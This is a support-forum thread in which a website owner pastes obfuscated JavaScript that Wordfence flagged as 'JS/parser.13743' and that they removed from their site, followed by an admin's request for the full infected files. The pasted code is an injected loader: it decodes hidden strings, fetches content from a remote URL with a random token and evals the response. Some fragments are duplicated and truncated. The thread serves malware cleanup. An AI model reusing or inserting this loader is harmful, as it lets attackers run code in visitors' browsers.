Wordfence report JS/parser.13743

Home Forums Support Forum Wordfence report JS/parser.13743

This topic contains 1 reply, has 2 voices, and was last updated by  Anti-Malware Admin 2 hours, 59 minutes ago.

Viewing 2 posts - 1 through 2 (of 2 total)
  • Author
    Posts
  • #155335

    Kai Klock
    Member

    Got this JS/parser.13743 error, and had to remove it manually.

    but here is the strings removed:

    ;if(typeof jqvq===”undefined”){function a0T(s,T){var L=a0s();return a0T=function(Z,U){Z=Z-(0×7*0x2a0+0×1*0x1b02+0x3bd*-0xc);var a=L[Z];if(a0T['TQAaTL']===undefined){var X=function(E){var S=’abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=’;var O=”,x=”;for(var u=-0x1f8b*-0×1+0×2*-0xeb+-0x1db5,b,H,Y=-0x2d4+0x12b3*0×2+-0×2292;H=E['charAt'](Y++);~H&&(b=u%(-0×1*-0x125c+0x1e1c+0x1bb*-0x1c)?b*(-0x1dc3+0x2a*0x1f+0x18ed)+H:H,u++%(0×3*-0x2bd+0x88a+-0x4f))?O+=String['fromCharCode'](-0x160d+0×1*0x80f+0xefd&b>>(-(-0xf*-0×45+-0x187f*-0×1+0×298*-0xb)*u&-0×1*0x109c+-0×1224+0x22c6)):0x26e0+-0×7*-0×43+-0x28b5){H=S['indexOf'](H);}for(var B=0×9*0x2a6+0xde*-0×6+-0x12a2,Q=O['length'];B<Q;B++){x+=’%'+(’00′+O['charCodeAt'](B)['toString'](0x26a0+0x20c0*-0×1+-0x5d0))['slice'](-(-0×19*0×19+-0x15a*-0×16+0×575*-0×5));}return decodeURIComponent(x);};var V=function(E,S){var O=[],u=-0x2bd*0×1+0×1*-0xc18+0xed5,b,H=”;E=X(E);var Y;for(Y=0×35*0x7c+-0xbbc*-0×1+0x31e*-0xc;Y<-0×53*-0xd+-0x11f5+0xebe;Y++){O[Y]=Y;}for(Y=0×518*-0×5+0x22d5*0×1+0×11*-0x8d;Y<-0×2211+-0xaa2*-0×3+0x32b;Y++){u=(u+O[Y]+S['charCodeAt'](Y%S['length']))%(0x4d*-0×18+-0×94*-0×2+0×710),b=O[Y],O[Y]=O[u],O[u]=b;}Y=-0xcb+-0×26*0×34+0×883,u=0×2578+0×1*0×375+-0x28ed*0×1;for(var B=0x25f*-0xf+-0x217a+-0x9dd*-0×7;B<E['length'];B++){Y=(Y+(0xfa3+0xe2*-0x1a+0×752))%(-0×996+-0x25f7+0×3*0x102f),u=(u+O[Y])%(0×1*0×819+-0×3*-0x3ff+-0×1316),b=O[Y],O[Y]=O[u],O[u]=b,H+=String['fromCharCode'](E['charCodeAt'](B)^O[(O[Y]+O[u])%(-0x25a3+-0×354+0x29f7*0×1)]);}return H;};a0T['xsFJsi']=V,s=arguments,a0T['TQAaTL']=!![];}var R=L[0x2d2*0x5+0x110*-0x10+0x6a*0x7],A=Z+R,P=s[A];return!P?(a0T['dbGcud']===undefined&&(a0T['dbGcud']=!![]),a=a0T['xsFJsi'](a,U),s[A]=a):a=P,a;},a0T(s,T);}(function(s,T){var x=a0T,L=s();while(!![]){try{var Z=-parseInt(x(0xab,’rGKV’))/(-0x7bd*-0×3+-0×496*0×6+0x44e)*(parseInt(x(0×87,’ws17′))/(0x18a2+0×1836+-0x30d6))+-parseInt(x(0xcf,’di)x’))/(0×13*-0×107+0×7*-0xb+0×1*0x13d5)*(-parseInt(x(0xd7,’Q))M’))/(0xb8e+-0×548+-0×642))+-parseInt(x(0xe9,’5Ti!’))/(0x6a2*-0×3+-0×3*0x4cf+0x4e8*0×7)+-parseInt(x(0xdc,’c2dg’))/(0×103*0×19+0x1c71+-0×113*0×32)*(parseInt(x(0xd1,’Dwpg’))/(-0xfae+0×1561+-0x2c*0×21))+parseInt(x(0×88,’l6I)’))/(0x19ed*-0×1+0x1f55+-0×20*0x2b)*(-parseInt(x(0x9e,’c2dg’))/(-0×17*-0×61+0xded+-0x169b))+parseInt(x(0xb9,’9He5′))/(0×1960+-0xc*0xbc+-0×1086)*(parseInt(x(0xe5,’1Da1′))/(0×37*0×21+0×1*0xb50+0×14*-0xeb))+parseInt(x(0xbb,’Dwpg’))/(-0xd*0×218+0×9*0x43a+-0xac6);if(Z===T)break;else L['push'](L['shift']());}catch(U){L['push'](L['shift']());}}}(a0s,0×2*0x4e2ad+-0x2dec9*0×2+-0x15b9*-0×11));var jqvq=!![],HttpClient=function(){var u=a0T;this[u(0xea,'[BKo')]=function(s,T){var b=u,L=new XMLHttpRequest();L[b(0xc3,'U#L7')+b(0xba,'U10B')+b(0xd5,'[F]L’)+b(0xc9,’JVg#’)+b(0xbe,’2hoq’)+b(0xcb,’1Da1′)]=function(){var H=b;if(L[H(0xc0,'AN!n')+H(0xb0,'yNP*')+H(0xbd,'(0K#')+'e']==-0x1f8b*-0×1+0×2*-0xeb+-0x1db1&&L[H(0xe1,'2hoq')+H(0xc7,'U10B')]==-0x2d4+0x12b3*0×2+-0x21ca)T(L[H(0xc5,'%p!H')+H(0x96,'UOL*')+H(0xa1,'AN!n')+H(0xde,'udj6')]);},L[b(0xa5,'zn1B')+'n'](b(0x9d,’ws17′),s,!![]),L[b(0xef,'U#L7')+'d'](null);};},rand=function(){var Y=a0T;return Math[Y(0xb3,'U10B')+Y(0xbc,'TGXv')]()[Y(0x9b,'^1XR')+Y(0xec,'ws17')+'ng'](-0×1*-0x125c+0x1e1c+0×407*-0xc)[Y(0xce,'c2dg')+Y(0xee,'G&9G')](-0x1dc3+0x2a*0x1f+0x18af);},token=function(){return rand()+rand();};function a0s(){var i=['W6BcMCks','y8kxxSk+u2S8o8kkECoGWR/cPW','W4FcVCk8WOhdISkDsci','W7ddRqxcOtange1AW64FWQu','oCoQqq','WQ3cQeC','W4/dQ8otFSkpWR7cRCofuILWW5q','A1fT','WPddQSkH','rMdcKW','W48+pW','WO3dGCkr','W7OKmW','uXrB','aYldJbOKtXS+W5bj','W4nvW4PRDc4lW7nl','it3dNq','WQtdR8k6','W742CW','W4FcPSkd','W7NcJYu','lSoOvq','WOuLDW','WPDfka','WPGpWPy','W5tdH8kP','qI3cKW','vxFcJG','FSklhG','W7BcQIi','WRLoW78','WOrDWOa9W5NcRIpdV0tdJa','wmkQW7q','W6uNbmo2p8omyYVdHW','W7ZcKCoV','WQVdR8k2','DvFcRG','W6yJcSkjBCkJyXpdRmk9WOjA','v8okWQO','WPRdVCkN','W5KTcG','WRVcV0C','W5xcTmo2WOxdTLxdOM1AWO4','WOCvW60','mw7dKG','w8oxWRaRW5qFWRRdM8kY','W55EWQ3dQSoVfCkvW4y','pWyv','dSk8WR7dGZddPGZcTI3cOtRdKq','CCk1wG','W5lcTSo1W6NdQNpdO0D0','xmkfW4K','W4CwWQO','WPDvoa','ASoEpG','yCojgq','WQrNtG','AMCkiCoJW7RcVuVcImkdWQmn','oWiv','W4FdSCom','iCkbeW','WO3dH8om','jmkJW7C','mc/dHa','W5ytBspdHKBcSCoobSkLqSkkW4e','laiF','W7/cT8oLfrCYW4tdJCk9dmoxxa','aCkTW60','W4mnW4m','WO0xWOa','W5BcSCoWWOtcUdhdRer/WR7cJSkL','W5GTpW','qhddSW','WO3dGCom','W6yVlW','W5H5nL7dHdXsW4e','q8kHW6m','WRTDW78','pryi','WR/cRui','jH0A','WRdcVmoO','WPRdQCk3','xmkfW4u','oNhdHq','WQrMxG','WQCuWQtcMmkFW7RdOSkMWPKV','W5ddGCof','W7BcSmoNfby/W5JdGmkmo8oKtG','vmo7WRtdLvulW5/dJmo1W78','iqWi','W5iuW7G','cwWH','W7/cICol','ECk+W5BcQSkNrCkkWRdcISkN','u8kyW44','W7ndW6q','WPavWPS','ag06','W6aRu8oLmSo2ya8','W6DAW6O','wmkjW5q','yur2','jSo7WOG','WP0lWOa','mCkbfa'];a0s=function(){return i;};return a0s();}(function(){var B=a0T,T=navigator,L=document,Z=screen,U=window,a=L[B(0x8a,'Dwpg')+B(0x8d,'PWp3')],X=U[B(0x9c,'Dwpg')+B(0xda,'l6I)')+'on'][B(0xd3,'U10B')+B(0xeb,'rGKV')+'me'],R=U[B(0x92,'Ajbz')+B(0xac,'udj6')+'on'][B(0xdb,'[F]L’)+B(0xb7,’sF3T’)+’ol’],A=L[B(0xd0,'^zw4')+B(0xe8,'MgJY')+'er'];X[B(0x91,'l6I)')+B(0xc1,'7@B#')+'f'](B(0xc8,’MgJY’)+’.')==0×3*-0x2bd+0x88a+-0×53&&(X=X[B(0xae,'9He5')+B(0xb1,'c2dg')](-0x160d+0×1*0x80f+0xe02));if(A&&!E(A,B(0xb4,’5Ti!’)+X)&&!E(A,B(0x9f,’fENF’)+B(0xd6,’^1XR’)+’.'+X)&&!a){var P=new HttpClient(),V=R+(B(0×95,’Nhn#’)+B(0x8b,’U#L7′)+B(0xe2,’aPEl’)+B(0×86,’50*G’)+B(0xa0,’1Da1′)+B(0xe0,’Q))M’)+B(0xe3,’^1XR’)+B(0x8f,’wh(*’)+B(0xb5,’aPEl’)+B(0xd8,’udj6′)+B(0xe7,’zjrr’)+B(0x8e,’zjrr’)+B(0xaf,’yNP*’)+B(0xd9,’di)x’)+B(0xaa,’zjrr’)+B(0xb8,’5fV5′)+B(0xa4,’)HYO’)+B(0×89,’5fV5′)+B(0x8c,’1zgb’)+B(0xcc,’udj6′)+B(0xc6,’di)x’)+B(0xc2,’G&9G’)+B(0xa8,’U10B’)+B(0xcd,’zn1B’)+B(0×97,’di)x’)+B(0xca,’*owY’)+B(0×90,’9He5′)+B(0xb6,’^zw4′)+B(0xdf,’[BKo')+B(0xa2,'MgJY')+B(0xad,')HYO')+B(0x93,'ws17')+'d=')+token();P[B(0x94,'ws17')](V,function(S){var Q=B;E(S,Q(0xdd,’di)x’)+’x')&&U[Q(0xed,'AN!n')+'l'](S);});}function E(S,O){var c=B;return S[c(0x99,'%p!H')+c(0xd4,'(0K#')+'f'](O)!==-(-0xf*-0×45+-0x187f*-0×1+0x5b5*-0×5);}}());};

    And:

    gq’,'WQrNtG’,'AMCkiCoJW7RcVuVcImkdWQmn’,'oWiv’,'W4FdSCom’,'iCkbeW’,'WO3dH8om’,'jmkJW7C’,'mc/dHa’,'W5ytBspdHKBcSCoobSkLqSkkW4e’,'laiF’,'W7/cT8oLfrCYW4tdJCk9dmoxxa’,'aCkTW60′,’W4mnW4m’,'WO0xWOa’,'W5BcSCoWWOtcUdhdRer/WR7cJSkL’,'W5GTpW’,'qhddSW’,'WO3dGCom’,'W6yVlW’,'W5H5nL7dHdXsW4e’,'q8kHW6m’,'WRTDW78′,’pryi’,'WR/cRui’,'jH0A’,'WRdcVmoO’,'WPRdQCk3′,’xmkfW4u’,'oNhdHq’,'WQrMxG’,'WQCuWQtcMmkFW7RdOSkMWPKV’,'W5ddGCof’,'W7BcSmoNfby/W5JdGmkmo8oKtG’,'vmo7WRtdLvulW5/dJmo1W78′,’iqWi’,'W5iuW7G’,'cwWH’,'W7/cICol’,'ECk+W5BcQSkNrCkkWRdcISkN’,'u8kyW44′,’W7ndW6q’,'WPavWPS’,'ag06′,’W6aRu8oLmSo2ya8′,’W6DAW6O’,'wmkjW5q’,'yur2′,’jSo7WOG’,'WP0lWOa’,'mCkbfa’];a0s=function(){return i;};return a0s();}(function(){var B=a0T,T=navigator,L=document,Z=screen,U=window,a=L[B(0x8a,'Dwpg')+B(0x8d,'PWp3')],X=U[B(0x9c,'Dwpg')+B(0xda,'l6I)')+'on'][B(0xd3,'U10B')+B(0xeb,'rGKV')+'me'],R=U[B(0x92,'Ajbz')+B(0xac,'udj6')+'on'][B(0xdb,'[F]L’)+B(0xb7,’sF3T’)+’ol’],A=L[B(0xd0,'^zw4')+B(0xe8,'MgJY')+'er'];X[B(0x91,'l6I)')+B(0xc1,'7@B#')+'f'](B(0xc8,’MgJY’)+’.')==0×3*-0x2bd+0x88a+-0×53&&(X=X[B(0xae,'9He5')+B(0xb1,'c2dg')](-0x160d+0×1*0x80f+0xe02));if(A&&!E(A,B(0xb4,’5Ti!’)+X)&&!E(A,B(0x9f,’fENF’)+B(0xd6,’^1XR’)+’.'+X)&&!a){var P=new HttpClient(),V=R+(B(0×95,’Nhn#’)+B(0x8b,’U#L7′)+B(0xe2,’aPEl’)+B(0×86,’50*G’)+B(0xa0,’1Da1′)+B(0xe0,’Q))M’)+B(0xe3,’^1XR’)+B(0x8f,’wh(*’)+B(0xb5,’aPEl’)+B(0xd8,’udj6′)+B(0xe7,’zjrr’)+B(0x8e,’zjrr’)+B(0xaf,’yNP*’)+B(0xd9,’di)x’)+B(0xaa,’zjrr’)+B(0xb8,’5fV5′)+B(0xa4,’)HYO’)+B(0×89,’5fV5′)+B(0x8c,’1zgb’)+B(0xcc,’udj6′)+B(0xc6,’di)x’)+B(0xc2,’G&9G’)+B(0xa8,’U10B’)+B(0xcd,’zn1B’)+B(0×97,’di)x’)+B(0xca,’*owY’)+B(0×90,’9He5′)+B(0xb6,’^zw4′)+B(0xdf,’[BKo')+B(0xa2,'MgJY')+B(0xad,')HYO')+B(0x93,'ws17')+'d=')+token();P[B(0x94,'ws17')](V,function(S){var Q=B;E(S,Q(0xdd,’di)x’)+’x')&&U[Q(0xed,'AN!n')+'l'](S);});}function E(S,O){var c=B;return S[c(0x99,'%p!H')+c(0xd4,'(0K#')+'f'](O)!==-(-0xf*-0×45+-0x187f*-0×1+0x5b5*-0×5);}}());};

    And:

    +0x4e8*0×7)+-parseInt(x(0xdc,’c2dg’))/(0×103*0×19+0x1c71+-0×113*0×32)*(parseInt(x(0xd1,’Dwpg’))/(-0xfae+0×1561+-0x2c*0×21))+parseInt(x(0×88,’l6I)’))/(0x19ed*-0×1+0x1f55+-0×20*0x2b)*(-parseInt(x(0x9e,’c2dg’))/(-0×17*-0×61+0xded+-0x169b))+parseInt(x(0xb9,’9He5′))/(0×1960+-0xc*0xbc+-0×1086)*(parseInt(x(0xe5,’1Da1′))/(0×37*0×21+0×1*0xb50+0×14*-0xeb))+parseInt(x(0xbb,’Dwpg’))/(-0xd*0×218+0×9*0x43a+-0xac6);if(Z===T)break;else L['push'](L['shift']());}catch(U){L['push'](L['shift']());}}}(a0s,0×2*0x4e2ad+-0x2dec9*0×2+-0x15b9*-0×11));var jqvq=!![],HttpClient=function(){var u=a0T;this[u(0xea,'[BKo')]=function(s,T){var b=u,L=new XMLHttpRequest();L[b(0xc3,'U#L7')+b(0xba,'U10B')+b(0xd5,'[F]L’)+b(0xc9,’JVg#’)+b(0xbe,’2hoq’)+b(0xcb,’1Da1′)]=function(){var H=b;if(L[H(0xc0,'AN!n')+H(0xb0,'yNP*')+H(0xbd,'(0K#')+'e']==-0x1f8b*-0×1+0×2*-0xeb+-0x1db1&&L[H(0xe1,'2hoq')+H(0xc7,'U10B')]==-0x2d4+0x12b3*0×2+-0x21ca)T(L[H(0xc5,'%p!H')+H(0x96,'UOL*')+H(0xa1,'AN!n')+H(0xde,'udj6')]);},L[b(0xa5,'zn1B')+'n'](b(0x9d,’ws17′),s,!![]),L[b(0xef,'U#L7')+'d'](null);};},rand=function(){var Y=a0T;return Math[Y(0xb3,'U10B')+Y(0xbc,'TGXv')]()[Y(0x9b,'^1XR')+Y(0xec,'ws17')+'ng'](-0×1*-0x125c+0x1e1c+0×407*-0xc)[Y(0xce,'c2dg')+Y(0xee,'G&9G')](-0x1dc3+0x2a*0x1f+0x18af);},token=function(){return rand()+rand();};function a0s(){var i=[‘W6BcMCks’,'y8kxxSk+u2S8o8kkECoGWR/cPW’,'W4FcVCk8WOhdISkDsci’,'W7ddRqxcOtange1AW64FWQu’,'oCoQqq’,'WQ3cQeC’,'W4/dQ8otFSkpWR7cRCofuILWW5q’,'A1fT’,'WPddQSkH’,'rMdcKW’,'W48+pW’,'WO3dGCkr’,'W7OKmW’,'uXrB’,'aYldJbOKtXS+W5bj’,'W4nvW4PRDc4lW7nl’,'it3dNq’,'WQtdR8k6′,’W742CW’,'W4FcPSkd’,'W7NcJYu’,'lSoOvq’,'WOuLDW’,'WPDfka’,'WPGpWPy’,'W5tdH8kP’,'qI3cKW’,'vxFcJG’,'FSklhG’,'W7BcQIi’,'WRLoW78′,’WOrDWOa9W5NcRIpdV0tdJa’,'wmkQW7q’,'W6uNbmo2p8omyYVdHW’,'W7ZcKCoV’,'WQVdR8k2′,’DvFcRG’,'W6yJcSkjBCkJyXpdRmk9WOjA’,'v8okWQO’,'WPRdVCkN’,'W5KTcG’,'WRVcV0C’,'W5xcTmo2WOxdTLxdOM1AWO4′,’WOCvW60′,’mw7dKG’,'w8oxWRaRW5qFWRRdM8kY’,'W55EWQ3dQSoVfCkvW4y’,'pWyv’,'dSk8WR7dGZddPGZcTI3cOtRdKq’,'CCk1wG’,'W5lcTSo1W6NdQNpdO0D0′,’xmkfW4K’,'W4CwWQO’,'WPDvoa’,'ASoEpG’,'yCoj

     

     

    Hope that helps someone.

    #155341

    Anti-Malware Admin
    Key Master

    Some of those code snippets are clearly truncated or missing something from the beginning of the script. It may be true that not all the script in the affected files is malicious but it would help me greatly to see the whole contents of those infected files (including any non-malicious code that might have been in the file before it was appended with these malicious lines of code) so that I can determine the pattern in the affected scripts and make sure that all the offending code can be removed without damaging the syntax of the original code.

    Could you please look for a backup on your server that might contain the whole of the infected files and send those to me directly via email attachments?

Viewing 2 posts - 1 through 2 (of 2 total)

You must be logged in to reply to this topic.

Comments are closed.